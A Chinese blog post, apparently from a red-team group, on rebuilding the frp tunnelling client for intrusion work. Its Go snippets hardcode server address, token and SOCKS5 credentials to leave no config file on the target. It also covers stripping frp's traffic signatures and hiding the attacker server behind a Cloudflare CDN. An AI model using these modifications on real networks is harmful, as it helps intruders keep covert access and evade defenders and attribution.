frp优化

本文由Tide安全团队原创发布

原文链接:https://www.anquanke.com/post/id/273033#h2-7

frp优化

​ 阅读量 52576 |

​ 分享到: QQ空间 新浪微博 微信 QQ facebook twitter

发布时间:2022-06-01 10:30:03

img

前言

工欲善其事,必先利其器。由于frp并不是主要以渗透测试内网穿透为目的而开发的软件,所以为符合攻击对抗的要求需要对其进行改造来达到免杀、流量隐蔽等要求。

使用原版加载参数的方式一旦被防守者发现极易暴露攻击者信息,可以采取无配置文件落地或者半落地方式来规避防守。

效果如下:

frpc.exe -i x.x.x.x -p 17000 -r 10000

frpc.exe //内置所有配置参数

*命令行方式可在windows系统中可以隐藏命令参数,在linux系统可以使用history查看到,想要彻底规避需要将所需参数直接写在frp源码中再重新编译。

frpc是frp的客户端,GitHub原版使用frpc.ini传递运行参数,常使用的参数有以下几个:

[common]

server_addr = 127.0.0.1

server_port = 17000

tls_enable = true //传输过程使用tls加密

token = zhangyida //连接服务端密码

[socks5_proxy]

type = tcp

plugin = socks5

plugin_user = zyd

plugin_passwd = zyd

remote_port = 10000

首先在实现之前,需要知晓原版frp是如何传递参数即frpc参数传递分析。

frp参数传递过程简析

以0.33版本frp传参代码的实现如下:

cmd/frpc/sub/root.go

//init():初始化参数,c代表config文件地址;v表示frpc版本

func init() {

rootCmd.PersistentFlags().StringVarP(&cfgFile, “config”, “c”, “./frpc.ini”, “config file of frpc”)

rootCmd.PersistentFlags().BoolVarP(&showVersion, “version”, “v”, false, “version of frpc”)

kcpDoneCh = make(chan struct{})

}

var rootCmd = &cobra.Command{

//提示信息如下

Use: “frpc”,

Short: “frpc is the client of frp (https://github.com/fatedier/frp)”,

RunE: func(cmd *cobra.Command, args []string) error {

if showVersion {

fmt.Println(version.Full())

return nil

}

// Do not show command usage here.

//通过runClient方法读取配置文件信息并向服务端注册搭建隧道

err := runClient(cfgFile)

if err != nil {

fmt.Println(err)

os.Exit(1)

}

return nil

},

}

跟进runClient方法,发现以下3个方法跟解析配置文件相关

img

config.GetRenderedConfFromFile实现读取ini格式配置文件并最终转换为字符串

//models/config/values.go

package config

import (

“bytes”

“io/ioutil”

“os”

“strings”

“text/template”

)

var (

glbEnvs map[string]string

)

func init() {

glbEnvs = make(map[string]string)

envs := os.Environ()

for _, env := range envs {

kv := strings.Split(env, “=”)

if len(kv) != 2 {

continue

}

glbEnvs[kv[0]] = kv[1]

}

}

type Values struct {

Envs map[string]string // environment vars

}

func GetValues() *Values {

return &Values{

Envs: glbEnvs,

}

}

func RenderContent(in string) (out string, err error) {

tmpl, errRet := template.New(“frp”).Parse(in)

if errRet != nil {

err = errRet

return

}

buffer := bytes.NewBufferString(“”)

v := GetValues()

err = tmpl.Execute(buffer, v)

if err != nil {

return

}

out = buffer.String()

return

}

func GetRenderedConfFromFile(path string) (out string, err error) {

var b []byte

b, err = ioutil.ReadFile(path)

if err != nil {

return

}

content := string(b)

out, err = RenderContent(content)

return

}

parseClientCommonConf,根据传递参数方式选择ini文件格式或者命令行方式。

img

当为ini文件时,解析config.GetRenderedConfFromFile返回的字符串

img

config.UnmarshalClientConfFromIni将content字符串转换成结构体返回cfg

img

当传递参数方式为命令行时,注意这个参数只是frpc的[common]参数。

img

config.loadAllConfFromIni主要实现读取代理相关参数

img

命令行传参

向cobra的init方法添加serverAddr、serverPort、forwardPort

func init() {

//rootCmd.PersistentFlags().StringVarP(&cfgFile, “config”, “c”, “./frpc.ini”, “config file of frpc”)

//rootCmd.PersistentFlags().BoolVarP(&showVersion, “version”, “v”, false, “version of frpc”)

rootCmd.PersistentFlags().StringVarP(&serverAddr, “server_addr”, “i”, “1.1.1.1”, “server_addr”)

rootCmd.PersistentFlags().StringVarP(&serverPort, “server_port”, “p”, “18000”, “server_port”)

rootCmd.PersistentFlags().StringVarP(&forwardPort, “remote_port”, “r”, “11000”, “remote_port”)

kcpDoneCh = make(chan struct{})

}

构造getConfFromCmd方法,将frpc.ini内容写入并传递添加的参数

func getConfFromCmd(serverAddr string, serverPort string, fport string) {

fileContent = `[common]

server_addr =+ serverAddr +

server_port = + serverPort +

tls_enable = true

token = zyd

[socks5_proxy]

type = tcp

plugin = socks5

plugin_user = zyd

plugin_passwd = zyd

remote_port = + forwardPort +

}

修改runClient方法,使用写入的frpc.ini取代原来读取配置文件的方法

func runClient(cfgFilePath string) (err error) {

var content string

getConfFromCmd(serverAddr, serverPort, forwardPort)

content, err = fileContent, nil

if err != nil {

return

}

cfg, err := parseClientCommonCfg(CfgFileTypeIni, content)

if err != nil {

return

}

pxyCfgs, visitorCfgs, err := config.LoadAllConfFromIni(cfg.User, content, cfg.Start)

if err != nil {

return err

}

err = startService(cfg, pxyCfgs, visitorCfgs, cfgFilePath)

return

}

实现命令行传递参数,隧道搭建成功

img

frpc.ini完全写入源码

将getConfFromCmd方法中的所有待定参数给定即可

func getConfFromCmd(serverAddr string, serverPort string, fport string) {

fileContent = `[common]

server_addr = 1.1.1.1

server_port = 12321

tls_enable = true

token = zyd

[socks5_proxy]

type = tcp

plugin = socks5

plugin_user = zyd

plugin_passwd = zyd

remote_port = 11000

}

特征修改

特征一

在tls_enable为false时,frpc与frps之间的认证流量存在特征,在models/msg/msg.go中修改。

img

特征二

frp为了端口复用,建立TLS连接时第一个字节是固定的0x17,且后面数据包大小为317,在utils/net/tls.go中进行修改。

img

CDN隐藏真实IP

经过以上修改的frp无法完全隐藏攻击者vps ip,可以使用websocket协议实现cdn来规避。

img

首先在godady购买一个域名

img

使用cloudflare实现免费cdn,不能使用国内服务器,使用xg或者国外vps且免费版的cloudflare存在端口限制,只能使用常见http/s使用的端口。

http:80,8080,8880,2052,2082,2086,2095

https:443,2053,2083,2087,2096,8443

img

修改源码中的server_addr为自己的域名

img

效果

删除不必要文件后使用frp自带的packge.sh编译缩后在目标执行即可。

img

img

参考

https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92.html

https://sec.lz520520.com/2020/11/566/

​ 本文由Tide安全团队原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/273033
安全客 - 有思想的安全新媒体

FRP

Tide安全团队

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值